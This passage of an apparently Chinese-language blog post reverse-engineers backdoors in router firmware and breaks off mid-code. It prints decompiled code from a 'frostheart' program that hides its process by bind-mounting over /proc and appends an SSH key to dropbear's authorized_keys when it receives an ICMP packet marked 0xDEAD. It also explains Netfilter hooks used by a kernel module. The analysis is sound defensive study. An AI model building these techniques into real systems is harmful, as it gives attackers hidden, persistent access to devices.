4px;">网络层原始套接字</code>两大类。创建链路层原始套接字使用socket(PF_PACKET, type, htons(protocol))。第三个参数是协议类型其只对报文接收有意义，见下图：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3286384976525822" data-s="300,640" style="" data-type="png" data-w="639" src="https://wechat2rss.xlab.app/img-proxy/?k=e789b324&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhoEN8icibMPwy2pTYY86k1AK0wkrtzqC0lRfRtx8ZNhKBvXNVmwOcfIQg%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  当type为SOCK_RAW时数据接收或者发送都从<strong style="line-height: 1.75;color: rgb(255, 118, 118);">MAC帧开始</strong>(链路层)，当type为SOCK_DGRAM时链路层由内核接管处理，用户只需接收或构造网络层数据。创建网络层原始套接字使用socket(PF_INET/AF_INET, SOCK_RAW, protocol)来操作网络层即以上的数据。接受报文时从网络层(IP)首部开始，以及建立在IP协议之上的TCP/ICMP等首部。发送报文时默认情况IP首部由内核接管，用户构造TCP/UDP/ICMP等协议数据。但是通过setsockopt()给套接字设置上IP_HDRINCL选项，就需要在发送时自行构造IP首部。见下图：</p><figure style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.321875" title="null" data-type="png" data-w="640" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=3e6f86bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhdOoCgllO4Caiag4X2I0acSy1BeU8umk9wGKHfyjibicjvon1TfBFJdqwg%2F640%3Fwx_fmt%3Dpng"/></figure><h1 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">固件2</h1><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  这个固件无法直接使用串口或者ssh直连，这是因为在二号固件中设置了root的登录密码：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.29074074074074074" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=7e5edd2b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhVa8kxl8GyP1yFzwzCTRTiaXI5xEp7BWLBCbwcRU9CUt0ldpqgtKRphw%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">可以修改二号固件的shadow文件然后重打包再刷入。</p><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">frostheart</h2><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  对应程序为<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">/usr/bin/main</code>。程序通过mount指令将一个空文件挂载到/proc/pid下面实现进程隐藏(ps看不见)：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(209, 154, 102);">int</span> <span style="color: rgb(97, 174, 238);">hidePid</span>()<br/>{<br/>  <span style="color: rgb(209, 154, 102);">int</span> result; <span style="color: rgb(92, 99, 112);font-style: italic;">// $v0</span><br/>  <span style="color: rgb(209, 154, 102);">int</span> v1; <span style="color: rgb(92, 99, 112);font-style: italic;">// [sp+20h] [+20h]</span><br/>  <span style="color: rgb(209, 154, 102);">int</span> v2; <span style="color: rgb(92, 99, 112);font-style: italic;">// [sp+24h] [+24h]</span><br/>  <span style="color: rgb(209, 154, 102);">char</span> v3[<span style="color: rgb(209, 154, 102);">256</span>]; <span style="color: rgb(92, 99, 112);font-style: italic;">// [sp+28h] [+28h] BYREF</span><br/>  v1 = getpid();<br/>  <span style="color: rgb(230, 192, 123);">memset</span>(v3, <span style="color: rgb(209, 154, 102);">0</span>, <span style="color: rgb(198, 120, 221);">sizeof</span>(v3));<br/>  <span style="color: rgb(198, 120, 221);">if</span> ( v1 &gt;= <span style="color: rgb(209, 154, 102);">0</span> )<br/>  {<br/>    <span style="color: rgb(198, 120, 221);">if</span> ( access(<span style="color: rgb(152, 195, 121);">&#34;/tmp/pid&#34;</span>, <span style="color: rgb(209, 154, 102);">0</span>) )<br/>    {<br/>      v2 = strdup(<span style="color: rgb(152, 195, 121);">&#34;mkdir -p /tmp/pid&#34;</span>);<br/>      system(v2);<br/>    }<br/>    <span style="color: rgb(230, 192, 123);">sprintf</span>(v3, <span style="color: rgb(152, 195, 121);">&#34;mount --bind %s /%s/%d&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;/tmp/pid&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;proc&#34;</span>, v1);<br/>    system(v3);<br/>    result = <span style="color: rgb(209, 154, 102);">1</span>;<br/>  }<br/>  <span style="color: rgb(198, 120, 221);">else</span><br/>  {<br/>    perror(<span style="color: rgb(152, 195, 121);">&#34;pid error!&#34;</span>);<br/>    result = <span style="color: rgb(209, 154, 102);">-1</span>;<br/>  }<br/>  <span style="color: rgb(198, 120, 221);">return</span> result;</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  核心函数是sub_401764，大概逻辑是：接受ICMP ECHO request包，然后判断icmp_id是否为固定值<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">0xDEAD</code>。通过检测后对数据部分进行base64解码(Table异化)，然后解码的数据进行校验若通过则从数据找到@本机Mac地址和@key可以将ssh的公钥写入<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">/etc/dropbear/authorized_keys</code>实现ssh无秘钥登录。</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(198, 120, 221);">while</span> ( !recv(v2, icmp, <span style="color: rgb(209, 154, 102);">1024</span>, <span style="color: rgb(209, 154, 102);">0</span>) );<br/>checksum = icmp[<span style="color: rgb(209, 154, 102);">11</span>];<br/>}<br/><span style="color: rgb(198, 120, 221);">while</span> ( LOBYTE(icmp[<span style="color: rgb(209, 154, 102);">10</span>]) != <span style="color: rgb(209, 154, 102);">8</span> );          <span style="color: rgb(92, 99, 112);font-style: italic;">// Type == 8</span><br/><span style="color: rgb(198, 120, 221);">if</span> ( icmp[<span style="color: rgb(209, 154, 102);">12</span>] == <span style="color: rgb(209, 154, 102);">0xDEAD</span> )                 <span style="color: rgb(92, 99, 112);font-style: italic;">// ICMP id</span><br/>{<br/>    base64_decode((<span style="color: rgb(209, 154, 102);">int</span>)&amp;icmp[<span style="color: rgb(209, 154, 102);">12</span>], (<span style="color: rgb(209, 154, 102);">int</span>)v9);<br/>    <span style="color: rgb(198, 120, 221);">if</span> ( getXor((<span style="color: rgb(209, 154, 102);">int</span>)&amp;v9[<span style="color: rgb(209, 154, 102);">3</span>]) == checksum )<br/>    {<br/>        eth5Mac = sub_40168C();<br/>        <span style="color: rgb(198, 120, 221);">if</span> ( eth5Mac )<br/>        {<br/>            v5 = strtok(&amp;v9[<span style="color: rgb(209, 154, 102);">3</span>], <span style="color: rgb(152, 195, 121);">&#34;@&#34;</span>);<br/>            <span style="color: rgb(198, 120, 221);">if</span> ( v5 )<br/>            {<br/>                v6 = strtok(<span style="color: rgb(209, 154, 102);">0</span>, <span style="color: rgb(152, 195, 121);">&#34;@&#34;</span>);<br/>                <span style="color: rgb(198, 120, 221);">if</span> ( !<span style="color: rgb(230, 192, 123);">strcmp</span>(eth5Mac, v5) )<br/>                {<br/>                    v7 = fopen(<span style="color: rgb(152, 195, 121);">&#34;/etc/dropbear/authorized_keys&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;a+&#34;</span>);<br/>                    v1 = <span style="color: rgb(230, 192, 123);">strlen</span>(v6);<br/>                    fwrite(v6, v1, <span style="color: rgb(209, 154, 102);">1</span>, v7);<br/>                    fclose(v7);<br/>                }<br/>            }</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  同时在nf_flow_in.ko内核模块也需要分析。linux内核模块一般放在<span style="color: rgb(221, 17, 68);font-family: monospace;font-size: 12.6px;letter-spacing: 1.4px;text-align: left;white-space: pre-wrap;background-color: rgba(27, 31, 35, 0.05);">/lib/modules/$(uname -r)/</span>目录下，在<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">/etc/modules-load.d/</code>中来配置系统启动时加载哪些模块，但是openwrt是modules-boot.d。<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">/etc/modprobe.d/</code>下配置模块加载时的一些参数，openwrt上对应/etc/modules.d/。</p><h3 style="letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">Netfilter 框架</h3><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  Netfilter 是 Linux 内核中的一个框架。linux实现数据过滤，连接跟踪（Connect Track），网络地址转换（NAT）等功能主要基于此框架。核心是该框架在网络协议栈中定义了一些列hook点，可以在这些点中注册函数对协议栈中各层次的数据包进行处理。<span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;letter-spacing: normal;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3319327731092437" data-s="300,640" style="" data-type="jpeg" data-w="952" src="https://wechat2rss.xlab.app/img-proxy/?k=10260e04&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhXYOVp6VKRjjiaYliblxsXnn1e3DGt7dMmiahyic1ic5jaBbtLMibxqicZqNqg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  从上图可知挂载点主要有5个：</p><ul style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">PRE_ROUTING</code>：路由前。数据包进入IP层后，但还没有对数据包进行路由判定前。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">LOCAL_IN</code>：进入本地。对数据包进行路由判定后，如果数据包是发送给本地的，在上送数据包给上层协议前。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">FORWARD</code>：转发。对数据包进行路由判定后，如果数据包不是发送给本地的，在转发数据包出去前。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">LOCAL_OUT</code>：本地输出。对于输出的数据包，在没有对数据包进行路由判定前。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">POST_ROUTING</code>：路由后。对于输出的数据包，在对数据包进行路由判定后。</p></li></ul><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">相关的函数与数据结构有：<strong style="line-height: 1.75;color: rgb(255, 118, 118);">nf_register_net_hook</strong>完成钩子函数注册，<strong style="line-height: 1.75;color: rgb(255, 118, 118);">struct nf_hook_ops</strong>结构体定义如下(最好看对应版本的源码，/lib/modules/5.4.215/可知源码版本)：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">nf_hook_ops</span> {<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;">/* User fills in from here down. */</span><br/>    nf_hookfn  *hook;<br/>    <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">net_device</span> *<span style="color: rgb(230, 192, 123);">dev</span>;<br/>    <span style="color: rgb(209, 154, 102);">void</span>   *priv;<br/>    <span style="color: rgb(209, 154, 102);">u_int8_t</span>  pf;<br/>    <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">int</span>  hooknum;<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;">/* Hooks are ordered in ascending priority. */</span><br/>    <span style="color: rgb(209, 154, 102);">int</span>   priority;<br/>};<br/><span style="color: rgb(92, 99, 112);font-style: italic;">/* Function to register/unregister hook points. */</span><br/><span style="color: rgb(209, 154, 102);">int</span> <span style="color: rgb(97, 174, 238);">nf_register_net_hook</span>(<span style="color: rgb(198, 120, 221);">struct</span> net *net, <span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(198, 120, 221);">struct</span> nf_hook_ops *ops);<br/><span style="color: rgb(209, 154, 102);">void</span> <span style="color: rgb(97, 174, 238);">nf_unregister_net_hook</span>(<span style="color: rgb(198, 120, 221);">struct</span> net *net, <span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(198, 120, 221);">struct</span> nf_hook_ops *ops);<br/><span style="color: rgb(209, 154, 102);">int</span> <span style="color: rgb(97, 174, 238);">nf_register_net_hooks</span>(<span style="color: rgb(198, 120, 221);">struct</span> net *net, <span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(198, 120, 221);">struct</span> nf_hook_ops *reg,<br/>              <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">int</span> n);<br/><span style="color: rgb(209, 154, 102);">void</span> <span style="color: rgb(97, 174, 238);">nf_unregister_net_hooks</span>(<span style="color: rgb(198, 120, 221);">struct</span> net *net, <span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(198, 120, 221);">struct</span> nf_hook_ops *reg,<br/>                 <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">int</span> n);</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">钩子函数的定义为：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(198, 120, 221);">typedef</span> <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">int</span> <span style="color: rgb(97, 174, 238);">nf_hookfn</span>(<span style="color: rgb(209, 154, 102);">void</span> *priv,<br/>                   <span style="color: rgb(198, 120, 221);">struct</span> sk_buff *skb,<br/>                   <span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(198, 120, 221);">struct</span> nf_hook_state *state);</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">hook的返回值有几种情况：</p><ul style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• NF_DROP == 0: 默默丢弃数据包</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• NF_ACCEPT == 1: 数据包继续在内核协议栈中传输</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• NF_STOLEN == 2: 数据包不继续传输，由钩子方法进行处理</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• NF_QUEUE == 3: 将数据包排序，供用户空间使用</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• NF_REPEAT == 4: 再次调用钩子函数</p></li></ul><hr style="color: rgb(0, 0, 0);font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-color: rgba(0, 0, 0, 0.1);transform-origin: 0px 0px;transform: scale(1, 0.5);"/><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">nf_flow_in.ko注册点为：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">nf_register_net_hooks(&amp;init_net, off_940, <span style="color: rgb(209, 154, 102);">1</span>);<br/>.data..read_mostly:<span style="color: rgb(209, 154, 102);">00000940</span> off_940:        .word hook               # DATA XREF: _5+<span style="color: rgb(209, 154, 102);">4</span>↑o<br/>.data..read_mostly:<span style="color: rgb(209, 154, 102);">00000940</span>                                          # _5+<span style="color: rgb(209, 154, 102);">10</span>↑o ...<br/>.data..read_mostly:<span style="color: rgb(209, 154, 102);">00000940</span>                                          # nf_hookfn *<br/>.data..read_mostly:<span style="color: rgb(209, 154, 102);">00000944</span>                 .word <span style="color: rgb(209, 154, 102);">0</span>                  <span style="color: rgb(97, 174, 238);"># struct net_device   *</span><br/>.data..read_mostly:<span style="color: rgb(209, 154, 102);">00000948</span>                 .word <span style="color: rgb(209, 154, 102);">0</span>                  <span style="color: rgb(97, 174, 238);"># void            *priv</span><br/>.data..read_mostly:<span style="color: rgb(209, 154, 102);">0000094</span>C                 .word <span style="color: rgb(209, 154, 102);">2</span>                  # <span style="color: rgb(209, 154, 102);">u_int8_t</span>        pf<br/>.data..read_mostly:<span style="color: rgb(209, 154, 102);">00000950</span>                 .word <span style="color: rgb(209, 154, 102);">1</span>                  <span style="color: rgb(97, 174, 238);"># unsigned int        hooknum</span></code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  对比nf_hook_ops结构体的成员定义可知：hooknum == 1 表示hook NF_IP_LOCAL_IN 阶段也就是数据包经过路由判决确定是发给本地的包后。pf == 2表示NFPROTO_IPV4 IPv4协议(IP)。重点hook函数为：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(209, 154, 102);">int</span> __fastcall <span style="color: rgb(97, 174, 238);">hook</span>(<span style="color: rgb(209, 154, 102);">int</span> a1, <span style="color: rgb(209, 154, 102);">int</span> a2)<br/>{<br/>  <span style="color: rgb(209, 154, 102);">int</span> result; <span style="color: rgb(92, 99, 112);font-style: italic;">// $v0</span><br/>  <span style="color: rgb(209, 154, 102);">int</span> head; <span style="color: rgb(92, 99, 112);font-style: italic;">// $v1</span><br/>  <span style="color: rgb(209, 154, 102);">char</span> *icmp_data; <span style="color: rgb(92, 99, 112);font-style: italic;">// $s0</span><br/>  <span style="color: rgb(209, 154, 102);">char</span> *v5; <span style="color: rgb(92, 99, 112);font-style: italic;">// $v0</span><br/>  <span style="color: rgb(209, 154, 102);">char</span> *v6; <span style="color: rgb(92, 99, 112);font-style: italic;">// $a0</span><br/>  <span style="color: rgb(209, 154, 102);">int</span> v7; <span style="color: rgb(92, 99, 112);font-style: italic;">// $a1</span><br/>  <span style="color: rgb(209, 154, 102);">int</span> v8; <span style="color: rgb(92, 99, 112);font-style: italic;">// $v1</span><br/>  head = *(_DWORD *)(a2 